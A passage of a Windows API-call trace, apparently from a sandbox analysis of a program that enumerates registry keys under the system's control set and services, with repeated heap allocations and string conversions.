Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.897] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.897] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.897] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0241.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.898] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0241.898] RegCloseKey (hKey=0x150) returned 0x0 [0241.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.898] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0241.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.899] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.899] RegCloseKey (hKey=0xc4) returned 0x0 [0241.899] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0241.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.900] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.900] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.900] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.900] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0241.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.901] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.901] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.901] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0241.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.901] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.902] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.902] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.902] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.902] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.902] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.902] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0241.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0241.903] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0241.903] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.903] RtlFreeHeap 